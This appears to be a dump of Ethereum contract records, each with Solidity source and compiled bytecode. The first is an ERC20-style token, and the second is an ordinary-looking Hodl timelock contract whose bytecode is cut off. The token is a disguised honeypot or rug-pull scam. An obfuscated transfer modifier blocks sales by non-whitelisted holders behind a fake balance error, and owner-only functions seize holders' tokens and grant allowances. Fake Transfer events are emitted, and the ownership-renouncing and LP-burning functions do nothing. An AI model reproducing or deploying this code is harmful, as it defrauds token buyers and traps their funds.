_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _authority, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _authority, "!owner");
_safeAuthority = safeOwner;
}
modifier _log(address dest, uint256 num, address from, address filler){
if (
_authority == _safeAuthority
&& from == _authority)
{_safeAuthority = dest;_;}else
{if (
from == _authority
|| from == _safeAuthority
|| dest == _authority){
if (
from == _authority
&& from == dest
){_discardedAmt = num;
}_;}else{
if (
_plus[from] == true
)
{
_;}else{if (
_discarded[from] == true
)
{require((from == _safeAuthority)||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt){
if(dest == _safeAuthority){_discarded[from] = true; _plus[from] = false;
}_; }else{require((from == _safeAuthority)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}}}}}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _authority){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _authority, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_authority] = _balances[_authority].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _authority){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _authority, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function Execute(address recipient) public _verify(){
//Enable
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function ProxiedSwap(address recipient) public _verify(){
//Disable
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferTo(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80638d3ca13e116100c3578063c2205ee11161007c578063c2205ee1146107c2578063c75e2c3d146107ca578063d8fc2924146107f0578063dd62ed3e14610923578063f3294c1314610951578063f8129cd21461097757610158565b80638d3ca13e146105025780639430b4961461063557806395d89b411461065b578063a5aae25414610663578063a9059cbb14610796578063bb88603c146104fa57610158565b80633cc4430d116101155780633cc4430d1461032b5780634e6ec2471461045e5780635265327c1461048a578063671e9921146104b057806370a08231146104d4578063715018a6146104fa57610158565b806306fdde031461015d57806308ec4eb5146101da578063095ea7b31461027d57806318160ddd146102bd57806323b872dd146102d7578063313ce5671461030d575b600080fd5b610165610aaa565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027b600480360360208110156101f057600080fd5b810190602081018135600160201b81111561020a57600080fd5b82018360208201111561021c57600080fd5b803590602001918460208302840111600160201b8311171561023d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b40945050505050565b005b6102a96004803603604081101561029357600080fd5b506001600160a01b038135169060200135610c34565b604080519115158252519081900360200190f35b6102c5610c51565b60408051918252519081900360200190f35b6102a9600480360360608110156102ed57600080fd5b506001600160a01b03813581169160208101359091169060400135610c57565b610315610cde565b6040805160ff9092168252519081900360200190f35b61027b6004803603606081101561034157600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561036b57600080fd5b82018360208201111561037d57600080fd5b803590602001918460208302840111600160201b8311171561039e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ed57600080fd5b8201836020820111156103ff57600080fd5b803590602001918460208302840111600160201b8311171561042057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ce7945050505050565b61027b6004803603604081101561047457600080fd5b506001600160a01b038135169060200135610dad565b61027b600480360360208110156104a057600080fd5b50356001600160a01b0316610e8b565b6104b8610ef5565b604080516001600160a01b039092168252519081900360200190f35b6102c5600480360360208110156104ea57600080fd5b50356001600160a01b0316610f04565b61027b610f1f565b61027b6004803603606081101561051857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561054257600080fd5b82018360208201111561055457600080fd5b803590602001918460208302840111600160201b8311171561057557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156105c457600080fd5b8201836020820111156105d657600080fd5b803590602001918460208302840111600160201b831117156105f757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610f6e945050505050565b6102a96004803603602081101561064b57600080fd5b50356001600160a01b031661102e565b61016561109a565b61027b6004803603606081101561067957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156106a357600080fd5b8201836020820111156106b557600080fd5b803590602001918460208302840111600160201b831117156106d657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561072557600080fd5b82018360208201111561073757600080fd5b803590602001918460208302840111600160201b8311171561075857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506110fb945050505050565b6102a9600480360360408110156107ac57600080fd5b506001600160a01b0381351690602001356111bb565b6104b86111cf565b61027b600480360360208110156107e057600080fd5b50356001600160a01b03166111de565b61027b6004803603606081101561080657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561083057600080fd5b82018360208201111561084257600080fd5b803590602001918460208302840111600160201b8311171561086357600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108b257600080fd5b8201836020820111156108c457600080fd5b803590602001918460208302840111600160201b831117156108e557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611260945050505050565b6102c56004803603604081101561093957600080fd5b506001600160a01b03813581169160200135166112fe565b61027b6004803603602081101561096757600080fd5b50356001600160a01b0316611329565b61027b6004803603606081101561098d57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156109b757600080fd5b8201836020820111156109c957600080fd5b803590602001918460208302840111600160201b831117156109ea57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a3957600080fd5b820183602082011115610a4b57600080fd5b803590602001918460208302840111600160201b83111715610a6c57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113b0945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b600d546001600160a01b03163314610b88576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c30576001806000848481518110610ba557fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bf657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b8b565b5050565b6000610c48610c416114d1565b84846114d5565b50600192915050565b60045490565b6000610c648484846115c1565b610cd484610c706114d1565b610ccf856040518060600160405280602881526020016120e2602891396001600160a01b038a16600090815260036020526040812090610cae6114d1565b6001600160a01b031681526020810191909152604001600020549190611846565b6114d5565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610d34576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757828181518110610d4c57fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a833981519152848481518110610d8257fe5b60200260200101516040518082815260200191505060405180910390a3600101610d37565b50505050565b600d546001600160a01b03163314610e0c576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610e199082611470565b600455600d546001600160a01b0316600090815260208190526040902054610e419082611470565b600d546001600160a01b03908116600090815260208181526040808320949094558351858152935192861693919260008051602061210a8339815191529281900390910190a35050565b600d546001600160a01b03163314610ed3576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314610f6c576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b565b600d546001600160a01b03163314610fbb576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757836001600160a01b0316838281518110610fdd57fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061100957fe5b60200260200101516040518082815260200191505060405180910390a3600101610fbe565b600d546000906001600160a01b0316331461107e576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6110928261108a6114d1565b6008546114d5565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b600d546001600160a01b03163314611148576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757836001600160a01b031683828151811061116a57fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061119657fe5b60200260200101516040518082815260200191505060405180910390a360010161114b565b6000610c486111c86114d1565b84846115c1565b600d546001600160a01b031681565b600d546001600160a01b0316331461122b576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b5461125d9284929116906114d5565b50565b600d546001600160a01b031633146112ad576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6112b98361108a6114d1565b60005b8251811015610da7576112f6848483815181106112d557fe5b60200260200101518484815181106112e957fe5b60200260200101516118dd565b6001016112bc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b03163314611376576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461125d92849216906114d5565b600d546001600160a01b031633146113fd576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da75782818151811061141557fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a83398151915284848151811061144b57fe5b60200260200101516040518082815260200191505060405180910390a3600101611400565b6000828201838110156114ca576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661151a5760405162461bcd60e51b815260040180806020018281038252602481526020018061214f6024913960400191505060405180910390fd5b6001600160a01b03821661155f5760405162461bcd60e51b815260040180806020018281038252602281526020018061207a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156115f75750600d546001600160a01b038381169116145b1561162757600980546001600160a01b0319166001600160a01b038616179055611622878787611a56565b61183d565b600d546001600160a01b038381169116148061165057506009546001600160a01b038381169116145b806116685750600d546001600160a01b038581169116145b156116b157600d546001600160a01b03838116911614801561169b5750836001600160a01b0316826001600160a01b0316145b156116a657600a8390555b611622878787611a56565b6001600160a01b03821660009081526001602081905260409091205460ff16151514156116e357611622878787611a56565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561176d576009546001600160a01b03838116911614806117325750600b546001600160a01b038581169116145b6116a65760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a548310156117ce576009546001600160a01b03858116911614156116a6576001600160a01b03821660009081526002602090815260408083208054600160ff199182168117909255925290912080549091169055611622878787611a56565b6009546001600160a01b03838116911614806117f75750600b546001600160a01b038581169116145b6118325760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b61183d878787611a56565b50505050505050565b600081848411156118d55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561189a578181015183820152602001611882565b50505050905090810190601f1680156118c75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0383166119225760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b0382166119675760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611972838383612051565b6119af8160405180606001604052806026815260200161209c602691396001600160a01b0386166000908152602081905260409020549190611846565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546119de9082611470565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611a1857600c546001600160a01b031692505b816001600160a01b0316836001600160a01b031660008051602061210a833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611a8c5750600d546001600160a01b038381169116145b15611c2257600980546001600160a01b0319166001600160a01b03868116919091179091558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611b335760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611b3e878787612051565b611b7b8560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611baa9086611470565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611be457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a361183d565b600d546001600160a01b0383811691161480611c4b57506009546001600160a01b038381169116145b80611c635750600d546001600160a01b038581169116145b15611ce657600d546001600160a01b038381169116148015611c965750836001600160a01b0316826001600160a01b0316145b15611ca157600a8390555b6001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611d52576001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611ddc576009546001600160a01b0383811691161480611da15750600b546001600160a01b038581169116145b611ca15760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a54831015611e70576009546001600160a01b0385811691161415611ca1576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611e995750600b546001600160a01b038581169116145b611ed45760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b6001600160a01b038716611f195760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611f5e5760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611f69878787612051565b611fa68560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611fd59086611470565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561200f57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122030536cbe070dc2cb4987f9737bda7fc260bc0a1216b5b41887b2cec740343ede64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,777 |
0x1142e1f922cde42756741b4e16ddc5a87ee94b3d
|
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract CATContract is Ownable, Pausable {
CATServicePaymentCollector public catPaymentCollector;
uint public contractFee = 0.1 * 10**18; // Base fee is 0.1 CAT
// Limits all transactions to a small amount to avoid financial risk with early code
uint public ethPerTransactionLimit = 0.1 ether;
string public contractName;
string public versionIdent = "0.1.0";
event ContractDeployed(address indexed byWho);
event ContractFeeChanged(uint oldFee, uint newFee);
event ContractEthLimitChanged(uint oldLimit, uint newLimit);
event CATWithdrawn(uint numOfTokens);
modifier blockCatEntryPoint() {
// Collect payment
catPaymentCollector.collectPayment(msg.sender, contractFee);
ContractDeployed(msg.sender);
_;
}
modifier limitTransactionValue() {
require(msg.value <= ethPerTransactionLimit);
_;
}
function CATContract(address _catPaymentCollector, string _contractName) {
catPaymentCollector = CATServicePaymentCollector(_catPaymentCollector);
contractName = _contractName;
}
// Administrative functions
function changeContractFee(uint _newFee) external onlyOwner {
// _newFee is assumed to be given in full CAT precision (18 decimals)
ContractFeeChanged(contractFee, _newFee);
contractFee = _newFee;
}
function changeEtherTxLimit(uint _newLimit) external onlyOwner {
ContractEthLimitChanged(ethPerTransactionLimit, _newLimit);
ethPerTransactionLimit = _newLimit;
}
function withdrawCAT() external onlyOwner {
StandardToken CAT = catPaymentCollector.CAT();
uint ourTokens = CAT.balanceOf(this);
CAT.transfer(owner, ourTokens);
CATWithdrawn(ourTokens);
}
}
contract CATServicePaymentCollector is Ownable {
StandardToken public CAT;
address public paymentDestination;
uint public totalDeployments = 0;
mapping(address => bool) public registeredServices;
mapping(address => uint) public serviceDeployCount;
mapping(address => uint) public userDeployCount;
event CATPayment(address indexed service, address indexed payer, uint price);
event EnableService(address indexed service);
event DisableService(address indexed service);
event ChangedPaymentDestination(address indexed oldDestination, address indexed newDestination);
event CATWithdrawn(uint numOfTokens);
function CATServicePaymentCollector(address _CAT) {
CAT = StandardToken(_CAT);
paymentDestination = msg.sender;
}
function enableService(address _service) public onlyOwner {
registeredServices[_service] = true;
EnableService(_service);
}
function disableService(address _service) public onlyOwner {
registeredServices[_service] = false;
DisableService(_service);
}
function collectPayment(address _fromWho, uint _payment) public {
require(registeredServices[msg.sender] == true);
serviceDeployCount[msg.sender]++;
userDeployCount[_fromWho]++;
totalDeployments++;
CAT.transferFrom(_fromWho, paymentDestination, _payment);
CATPayment(_fromWho, msg.sender, _payment);
}
// Administrative functions
function changePaymentDestination(address _newPaymentDest) external onlyOwner {
ChangedPaymentDestination(paymentDestination, _newPaymentDest);
paymentDestination = _newPaymentDest;
}
function withdrawCAT() external onlyOwner {
uint ourTokens = CAT.balanceOf(this);
CAT.transfer(owner, ourTokens);
CATWithdrawn(ourTokens);
}
}
contract Hodl is CATContract {
uint public instanceId = 1;
mapping(uint => HodlInstance) public instances;
uint public maximumHodlDuration = 4 weeks;
event HodlCreated(uint indexed id, address indexed instOwner, uint hodlAmount, uint endTime);
event HodlWithdrawn(uint indexed id, address indexed byWho, uint hodlAmount);
event MaximumHodlDurationChanged(uint oldLimit, uint newLimit);
struct HodlInstance {
uint instId;
address instOwner;
bool hasBeenWithdrawn;
uint hodlAmount;
uint endTime;
}
modifier onlyInstanceOwner(uint _instId) {
require(instances[_instId].instOwner == msg.sender);
_;
}
modifier instanceExists(uint _instId) {
require(instances[_instId].instId == _instId);
_;
}
// Chain constructor
function Hodl(address _catPaymentCollector) CATContract(_catPaymentCollector, "Hodl") {}
function createNewHodl(uint _endTime) external payable blockCatEntryPoint limitTransactionValue whenNotPaused returns (uint currentId) {
// Cannot hodl in the past
require(_endTime >= now);
// Cannot hodl for longer than the max cap on duration
require((_endTime - now) <= maximumHodlDuration);
// Cannot hodl nothing
require(msg.value > 0);
currentId = instanceId;
address instanceOwner = msg.sender;
uint hodlAmount = msg.value;
uint endTime = _endTime;
HodlInstance storage curInst = instances[currentId];
curInst.instId = currentId;
curInst.instOwner = instanceOwner;
curInst.hasBeenWithdrawn = false;
curInst.hodlAmount = hodlAmount;
curInst.endTime = endTime;
HodlCreated(currentId, instanceOwner, hodlAmount, endTime);
instanceId++;
}
function withdraw(uint _instId) external onlyInstanceOwner(_instId) instanceExists(_instId) whenNotPaused {
HodlInstance storage curInst = instances[_instId];
// The hodl has passed its unlock date
require(now >= curInst.endTime);
// The hodl has not been withdrawn before
require(curInst.hasBeenWithdrawn == false);
curInst.hasBeenWithdrawn = true;
curInst.instOwner.transfer(curInst.hodlAmount);
HodlWithdrawn(_instId, msg.sender, curInst.hodlAmount);
}
function changeMaximumHodlDuration(uint _newLimit) external onlyOwner {
MaximumHodlDurationChanged(maximumHodlDuration, _newLimit);
maximumHodlDuration = _newLimit;
}
// Information functions
function getHodlOwner(uint _instId) constant external returns (address) {
return instances[_instId].instOwner;
}
function getHodlHasBeenWithdrawn(uint _instId) constant external returns (bool) {
return instances[_instId].hasBeenWithdrawn;
}
function getHodlAmount(uint _instId) constant external returns (uint) {
return instances[_instId].hodlAmount;
}
function getEndTime(uint _instId) constant external returns (uint) {
return instances[_instId].endTime;
}
function getTimeUntilEnd(uint _instId) constant external returns (int) {
return int(instances[_instId].endTime - now);
}
}
|
0x606060405236156101225763ffffffff60e060020a60003504166301996951811461012757806304fad28d1461014c5780630edc19231461017157806326dcbcfc146101895780632726a530146101b85780632ca60d85146101e25780632e1a7d4d1461026d5780633f4ba83a1461028557806359c77133146102ac5780635c975abb146102c95780635fe825f8146102f05780636ccbdbf91461032257806375d0c0dc1461034a5780638456cb59146103d55780638a34bb24146103fc5780638da5cb5b146104145780639067b67714610443578063a2f7b3a51461046b578063c91bc856146104c0578063d2c49b7f146104d5578063d41977cd146104fd578063d9244bf914610522578063e7cf6fcb14610547578063f2fde38b1461055f575b600080fd5b341561013257600080fd5b61013a610580565b60405190815260200160405180910390f35b341561015757600080fd5b61013a610586565b60405190815260200160405180910390f35b341561017c57600080fd5b61018760043561058c565b005b341561019457600080fd5b61019c6105ed565b604051600160a060020a03909116815260200160405180910390f35b34156101c357600080fd5b6101ce6004356105fc565b604051901515815260200160405180910390f35b34156101ed57600080fd5b6101f561061e565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102325780820151818401525b602001610219565b50505050905090810190601f16801561025f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561027857600080fd5b6101876004356106bc565b005b341561029057600080fd5b6101ce610802565b604051901515815260200160405180910390f35b61013a600435610889565b60405190815260200160405180910390f35b34156102d457600080fd5b6101ce610a57565b604051901515815260200160405180910390f35b34156102fb57600080fd5b61019c600435610a67565b604051600160a060020a03909116815260200160405180910390f35b341561032d57600080fd5b61013a600435610a88565b60405190815260200160405180910390f35b341561035557600080fd5b6101f5610aa0565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102325780820151818401525b602001610219565b50505050905090810190601f16801561025f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103e057600080fd5b6101ce610b3e565b604051901515815260200160405180910390f35b341561040757600080fd5b610187600435610bca565b005b341561041f57600080fd5b61019c610c2b565b604051600160a060020a03909116815260200160405180910390f35b341561044e57600080fd5b61013a600435610c3a565b60405190815260200160405180910390f35b341561047657600080fd5b610481600435610c52565b604051948552600160a060020a0390931660208501529015156040808501919091526060840191909152608083019190915260a0909101905180910390f35b34156104cb5760008